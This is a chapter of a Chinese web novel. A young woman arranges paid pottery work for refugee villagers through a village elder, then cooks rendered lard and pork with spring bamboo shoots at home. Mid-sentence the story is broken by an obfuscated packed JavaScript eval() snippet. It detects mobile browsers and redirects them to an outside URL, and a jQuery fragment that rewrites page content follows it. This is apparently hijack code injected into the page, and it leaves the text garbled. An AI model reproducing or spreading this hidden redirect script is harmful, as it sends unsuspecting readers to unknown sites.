接近正午的时间点,原以为宋阿伯这个时间还在山地里开荒,她过来也是碰碰运气,却没想到正巧遇到他在家。
“元香啊,快进来坐。”宋善全见元香上门来,立时热情地招待她,看元香身后还跟着阿允,笑着道:“阿允兄弟你也坐。”
阿允见宋阿伯是跟自己说话,便点了点头。
边上的元香自是也看到了,她很欣慰,年纪比你大的人跟你讲话要有回应这是一种礼节,是她教他的。
现在元香都已经习惯阿允跟着自己了,像自己的跟班一样,要是身边不见他还会觉得奇怪他人去哪儿了。
宋善全又忙吩咐正在家做午食的大媳妇陈氏,“快,快,快给元香和阿允兄弟倒点水喝。”
元香忙道说不用麻烦,她自己的事儿还没提呢,就见宋善全喜笑颜开地说着话,
“元香啊,上次做的引水槽都架上了,蓄水池也挖好了,山顶上的泉水现在正源源不断地往咱们预想的地方流呢,这下田里用水可方便多了。”
他捋着自己的胡子,眼角眉梢都是笑意,
“你是不知道,大家伙儿见天地夸你,夸你年纪轻轻,脑袋却灵光,特别是那几家离水源远的人家,说这地里被山泉水这么流过去,土地都没一开始那么板结干巴。
这些啊,都是多亏了你。”
元香笑,语气真诚:“我也就是嘴上出出主意,干活的还是大家,而且我自家的田也受益了,所以谈不上多亏我。”
宋善全听元香这么说心里更是欣慰,眼里多了几分欣赏。
转头又想到上次元香跟自己提过的事儿。
“对了,你上次还跟我说山地要改坡面为平地,就是把现在的地一层层挖成......那个......梯田?”
元香点头,坡面改平地能有效减缓水流速度,挡住上层下来的水土,缓解水土流失的问题,而且还能增加种植面积。
她确实这么跟他提过。
宋善全道:“我跟大家商量过了,大伙儿听完都同意这么干,只要地里能有更多的收成,咱们再苦再累也值得。”
宋善全不知想起了些什么,说完还叹了口气。
元香见他神色有些黯然,大概能理解宋阿伯的愁苦,坡地改梯田意味着他们在山地上得花更多的时间、精力还有劳力,弯更低的腰、流更多的汗水......
想要在山地里讨一口吃的,实在太累太苦了。
“头一年大家是要难一点,但也是为了以后的日子好过。”元香说这话算是安慰,但也是事实。
宋善全顺着元香的话畅想着以后,显然被元香的话给安慰到了,脸上又有了笑模样,
“嗐,瞧我,一说起地里的这些事儿就没完了,你今天来找我是......”
元香便把自己在烧陶器的事情以及需要招人干活的事情全说了。
等听她讲完,宋善全嘴巴微张,眼里满是惊奇。
元香啥时候做起陶器生意了?而且这生意看着还不小,现在都需要招人干活了?
不过转念想想,就元香这几日帮他们出的主意,她的见识眼界就不似一般人,所以现在听着再离谱、不可能的事情出现在她身上,他都觉得没那么意外。
宋善全便应下了,“行,这事儿我待会儿就去问问,哪家愿意来的就让他们直接过来找你。”
见宋阿伯答应了,元香又补充了些信息,“这活儿我给工钱,三文钱一天,但不包饭食,然后大概是四天的工期。”
“三文钱!”这边宋善全还没开口说话呢,刚来倒完水准备去做饭的陈氏“咦”了一声后惊叹道。
她迅速又折返回来,走到元香边上,眼里满是惊讶,“三文钱,是一日三文钱?”
元香点头。
陈氏瞬间心动了。
他们这些人现在全都一心扑在田地里呢,都没啥收入,刚来这儿的时候,汉子们也出去镇上找过工,开的价钱也不过十文一天,什么码搬砖砌墙、挖沟修渠、头搬货......
那些活儿干一天下来是真累得要褪一层皮。
一日三文钱,这对于好久没见到钱进账的陈氏来说可太有吸引力了。
宋善全听了却连连摆手,皱着眉头道:
“哎哟,大家都是一个村的,要什么工钱啊?你说一声,大家能来的都会来帮忙的,谁还会跟你要钱?”
说着,他语气有些认真,“你这陶器生意才刚起步,钱还是省点花吧。”
宋善全是真的觉得元香有些见外了。
他说的的确是乡村里的普遍现象,平时村里人谁家有事需要帮忙干体力活的,大多是张口说一声,别人自己就主动去了,最多就是招待几顿饭食的事儿,给钱的还真是少见。
这也是为啥说乡村社会其实是一个人情社会的原因。
元香确是一脸认真地拒绝了,
“这钱还是得给,阿伯,知道大家都是好意,我心里感激。”
“不过吧,我不能每次都厚着脸皮找人帮忙吧?三文钱,我出得起,人家付了劳力,这该得这钱。”
宋善全还要再说,“元香,这......”
“您要是觉得村里人不该挣我这钱,我就找别人了啊。”元香眼神一转,也不看他,直接了当地截了他的话头。
“哎?别!”
“别啊......”
宋善全和陈氏同时出声,语气发急。
说这么多宋善全也听明白了,这元香就是为了带着村里人一起赚钱才来找他的,不然她在外面招工找谁找不到?
“好好好,就按你说的办。”
陈氏见自家公爹都松口答应了,那这时候自己问一嘴应该也没事,“元香,你那是啥活儿?你看你嫂子我能不能行?”
元香笑道:“我这儿可是力气活儿,要挖泥、运泥、筛泥、揉泥,一天下来胳膊可酸了。”
“干啥不是力气活,你算上我一个呗,我做完饭就来找你。”陈氏看着元香,眼神又羡又急,恨不得现在立刻就去。
田里的活儿有家里的男人干呢,她现在跟弟媳周氏轮着给全家做饭,这能出去赚些外快,不比在家做饭好啊?
做饭的事就交给弟媳,她都想好了。
元香打量了下陈氏,见她高高壮壮,不是瘦弱那一挂的,就说了声嫂子你可以先来试试。
陈氏立马高兴地应下。
又说了会儿话,临走的时候,宋善全拍拍她的肩,语气郑重了些:
“咱们几家人,都是好不容易才到这儿的,本就应该一条心,你往后要是有什么难处,尽管开口,大家都记着你的好呢。”
元香轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388148|164085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑,她知道宋阿伯的好心,点点头表示记住了。
见陈氏还在灶房忙活,元香站在灶房外的窗边打了声招呼,说她要家去了。
然后她就看见陈氏正在做的午食。
粗陶碗里摆着几团粗糙的玉米糊,还有掰成小块的干馍,边上是团在一起的野菜团子,黑黢黢一团。
“哎?元香啊,这就走了?你等我去地里送完饭就来找你。”陈氏边忙活边应了声。
元香听她说这饭食是要送去田里给下地干活的人吃的,一时心里在叹气。
她记忆里宋阿伯家以前在村子里算富的,现在一场水灾举家背井离乡,累代积累下来的田地也没了。
他家应该还是有些家底的,尚且如此,其他人家的日子……可想而知。
她又想起了自己刚穿来的时候搬到山脚下的茅草屋子里一无所有的日子。
......
回到家,二果三喜俩孩子正蹲在院子里,手里拿着些木条插进了地里,就这样两人用着七拼八凑有粗有细的木条,围成了个看着还算圆的鸡圈。
虽然看着歪歪扭扭的,但还真能圈得住那几只毛绒绒的小鸡仔。
此时几只鸡仔黄黄的身子紧紧挤在一起,脑袋埋着缩在角落,看样子是换了新地方还不适应。
元香觉得这简易鸡窝应该撑不了几天,但她手头事情多,就由着他们先折腾。
见阿姐他们回来了,二果兴冲冲地跑过来问:
“阿姐,米饭蒸好了,菜也择好了,这肉怎么做啊?”
他俩瞧着今天买回家的猪肉早就心痒得不行,但阿姐还没回来,都不知道该怎么动它呢。
元香看了看择好的菜,想了想,“切点肥肉熬猪油,剩下的今天炒五花肉吃,怎么样?”
“好,那我再去生火。”二果乐呵呵地去干活。
片刻后,锅里白花花的猪板油慢慢化开,滋啦滋啦地响着,元香拿着木勺子一下下地挤板油上的油,猪油就流出来了,浓郁的油香扑鼻。
锅里的温度越来越高,香气越来越浓,连隔壁的鸡都扑棱扑棱地叫了两声,大概也是馋了。
待肥肉变得干瘪金黄,也就炸成了金黄色的油渣。
把油渣捞出,锅里的油晾凉后就能得到白茫茫的猪油了。
熬猪油剩下的油渣是她小时候的最爱,金黄的边角卷起,再撒点盐上去,嚼着又香又脆,特别好吃。
二果三喜在元香边上探头眼巴巴看着,三喜忍不住咽了咽口水。
元香已经捞出一小碗油渣放在一边晾凉,让他们先尝尝,“来,吹吹,别烫着了。”
三喜不怕烫,夹起一块油渣一口咬下去,“咔哧”一声,嚼得满嘴流油,“嗯,好好吃!”
元香自己也尝了块,香脆酥口又带着一丝微咸。
昨日他们砍毛竹的时候还顺带着挖了些春笋回来,原本是让他们挖回来的人自己分了的,没成想今天出门回来就发现自家门口就多了一捆这东西,也不知道是谁送来的。
看着是最早一批的早笋,拨开外皮里面的春笋肉质很是鲜嫩。
剩下的猪肉元香切成了五花肉片,煸至焦黄,春笋焯水后放进去一起炒,再加把葱叶炒匀,最后加调料就能出锅了。
肉烂笋香的味道愈发浓郁,让人垂涎欲滴,更是下饭。